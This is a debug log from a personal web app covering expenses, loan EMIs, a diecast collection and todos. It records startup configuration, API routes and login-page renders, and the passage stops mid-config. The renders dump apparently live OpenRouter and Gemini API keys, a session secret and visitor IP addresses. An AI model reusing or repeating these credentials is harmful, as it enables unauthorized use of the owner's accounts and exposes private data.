2026-07-05T15:01:30.564Z server-connect:router Serving templateView /login
2026-07-05T15:01:30.564Z server-connect:app Executing action step identify
2026-07-05T15:01:30.564Z server-connect:app options: { provider: 'security' }
2026-07-05T15:01:30.564Z server-connect:auth No login cookie found
2026-07-05T15:01:30.564Z server-connect:output identity: false
2026-07-05T15:01:30.564Z server-connect:router Render template layouts/authentication
2026-07-05T15:01:30.565Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    pragma: 'no-cache',
    'cache-control': 'no-cache',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-dest': 'document',
    referer: 'http://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip,br',
    priority: 'u=0, i',
    cookie: 'wssplashchk=ef774ce3254054328f788287793940a43284e29b.1783267284.1',
    'x-forwarded-for': '205.169.39.0',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {
    wssplashchk: 'ef774ce3254054328f788287793940a43284e29b.1783267284.1'
  },
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-06T15:01:30.563Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '205.169.39.0',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_PRAGMA: 'no-cache',
    HTTP_CACHE_CONTROL: 'no-cache',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'http://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'wssplashchk=ef774ce3254054328f788287793940a43284e29b.1783267284.1',
    'HTTP_X_FORWARDED-FOR': '205.169.39.0',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-07-05T20:20:48.031Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-05T20:20:50.302Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-05T20:20:51.165Z server-connect:setup:upload Upload middleware configured.
2026-07-05T20:20:51.165Z server-connect:secure CSRF Protection initialized
2026-07-05T20:20:51.170Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-05T20:20:51.175Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-05T20:20:51.176Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-05T20:20:51.178Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-05T20:20:51.184Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-05T20:20:51.190Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-05T20:20:51.202Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-05T20:20:51.215Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-05T20:20:51.218Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-05T20:20:51.221Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-05T20:20:51.224Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-05T20:20:51.227Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-05T20:20:51.234Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-05T20:20:51.243Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-05T20:20:51.247Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-05T20:20:51.317Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-05T20:20:51.318Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-05T20:20:51.324Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-05T20:20:51.328Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-05T20:20:51.333Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-05T20:20:51.333Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-05T20:20:51.343Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-05T20:20:51.343Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-05T20:20:51.350Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-05T20:20:51.353Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-05T20:20:51.356Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-05T20:20:51.358Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-05T20:20:51.360Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-05T20:20:51.366Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-05T20:20:51.368Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-05T20:20:51.371Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-05T20:20:51.371Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-05T20:20:51.375Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-05T20:20:51.378Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-05T20:20:51.383Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-05T20:20:51.387Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-05T20:20:51.389Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-05T20:20:51.399Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-05T20:20:51.886Z server-connect:router Serving templateView /
2026-07-05T20:20:51.889Z server-connect:app Executing action step identify
2026-07-05T20:20:51.889Z server-connect:app options: { provider: 'security' }
2026-07-05T20:20:51.891Z server-connect:auth No login cookie found
2026-07-05T20:20:51.891Z server-connect:output identity: false
2026-07-05T20:20:51.891Z server-connect:app Executing action step restrict
2026-07-05T20:20:51.891Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-05T20:20:51.894Z server-connect:output restrict: undefined
2026-07-05T20:20:52.060Z server-connect:router Serving templateView /login
2026-07-05T20:20:52.060Z server-connect:app Executing action step identify
2026-07-05T20:20:52.060Z server-connect:app options: { provider: 'security' }
2026-07-05T20:20:52.061Z server-connect:auth No login cookie found
2026-07-05T20:20:52.061Z server-connect:output identity: false
2026-07-05T20:20:52.061Z server-connect:router Render template layouts/authentication
2026-07-05T20:20:52.062Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    referer: 'https://www.ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'user-agent': 'Go-http-client/2.0',
    'x-forwarded-for': '129.121.61.212',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-06T20:20:52.057Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '129.121.61.212',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_USER_AGENT: 'Go-http-client/2.0',
    'HTTP_X_FORWARDED-FOR': '129.121.61.212',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-07-06T10:06:19.291Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-06T10:06:21.562Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-06T10:06:22.423Z server-connect:setup:upload Upload middleware configured.
2026-07-06T10:06:22.424Z server-connect:secure CSRF Protection initialized
2026-07-06T10:06:22.429Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-06T10:06:22.431Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-06T10:06:22.433Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-06T10:06:22.434Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-06T10:06:22.442Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-06T10:06:22.447Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-06T10:06:22.458Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-06T10:06:22.471Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-06T10:06:22.476Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-06T10:06:22.478Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-06T10:06:22.479Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-06T10:06:22.485Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-06T10:06:22.490Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-06T10:06:22.499Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-06T10:06:22.502Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-06T10:06:22.576Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-06T10:06:22.577Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-06T10:06:22.581Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-06T10:06:22.587Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-06T10:06:22.591Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-06T10:06:22.593Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-06T10:06:22.602Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-06T10:06:22.602Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-06T10:06:22.609Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-06T10:06:22.612Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-06T10:06:22.615Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-06T10:06:22.615Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-06T10:06:22.618Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-06T10:06:22.625Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-06T10:06:22.625Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-06T10:06:22.629Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-06T10:06:22.629Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-06T10:06:22.633Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-06T10:06:22.637Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-06T10:06:22.642Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-06T10:06:22.649Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-06T10:06:22.649Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-06T10:06:22.659Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-06T10:06:23.148Z server-connect:router Serving templateView /
2026-07-06T10:06:23.151Z server-connect:router Serving templateView /
2026-07-06T10:06:23.153Z server-connect:app Executing action step identify
2026-07-06T10:06:23.153Z server-connect:app options: { provider: 'security' }
2026-07-06T10:06:23.155Z server-connect:auth No login cookie found
2026-07-06T10:06:23.155Z server-connect:output identity: false
2026-07-06T10:06:23.155Z server-connect:app Executing action step restrict
2026-07-06T10:06:23.155Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-06T10:06:23.160Z server-connect:output restrict: undefined
2026-07-06T10:06:23.161Z server-connect:app Executing action step identify
2026-07-06T10:06:23.161Z server-connect:app options: { provider: 'security' }
2026-07-06T10:06:23.161Z server-connect:auth No login cookie found
2026-07-06T10:06:23.161Z server-connect:output identity: false
2026-07-06T10:06:23.161Z server-connect:app Executing action step restrict
2026-07-06T10:06:23.161Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-06T10:06:23.162Z server-connect:output restrict: undefined
2026-07-06T10:06:24.210Z server-connect:router Serving templateView /login
2026-07-06T10:06:24.210Z server-connect:app Executing action step identify
2026-07-06T10:06:24.210Z server-connect:app options: { provider: 'security' }
2026-07-06T10:06:24.210Z server-connect:auth No login cookie found
2026-07-06T10:06:24.211Z server-connect:output identity: false
2026-07-06T10:06:24.211Z server-connect:router Render template layouts/authentication
2026-07-06T10:06:24.211Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9',
    priority: 'u=0, i',
    cookie: 'wssplashchk=4410fe6c803329eeffcb7385230b61d5da529bcc.1783335978.1',
    'x-forwarded-for': '91.90.122.10',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {
    wssplashchk: '4410fe6c803329eeffcb7385230b61d5da529bcc.1783335978.1'
  },
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-07T10:06:24.209Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '91.90.122.10',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'wssplashchk=4410fe6c803329eeffcb7385230b61d5da529bcc.1783335978.1',
    'HTTP_X_FORWARDED-FOR': '91.90.122.10',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-07-06T10:06:40.193Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-06T10:06:40.353Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-06T10:06:40.440Z server-connect:setup:upload Upload middleware configured.
2026-07-06T10:06:40.441Z server-connect:secure CSRF Protection initialized
2026-07-06T10:06:40.443Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-06T10:06:40.444Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-06T10:06:40.445Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-06T10:06:40.445Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-06T10:06:40.446Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-06T10:06:40.446Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-06T10:06:40.447Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-06T10:06:40.447Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-06T10:06:40.448Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-06T10:06:40.448Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-06T10:06:40.449Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-06T10:06:40.449Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-06T10:06:40.449Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-06T10:06:40.480Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-06T10:06:40.480Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-06T10:06:40.481Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-06T10:06:40.482Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-06T10:06:40.482Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-06T10:06:40.483Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-06T10:06:40.483Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-06T10:06:40.484Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-06T10:06:40.484Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-06T10:06:40.484Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-06T10:06:40.484Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-06T10:06:40.485Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-06T10:06:40.485Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-06T10:06:40.485Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-06T10:06:40.485Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-06T10:06:40.486Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-06T10:06:40.486Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-06T10:06:40.486Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-06T10:06:40.486Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-06T10:06:40.486Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-06T10:06:40.487Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-06T10:06:40.487Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-06T10:06:40.487Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-06T10:06:40.487Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-06T10:06:40.487Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-06T10:35:20.015Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
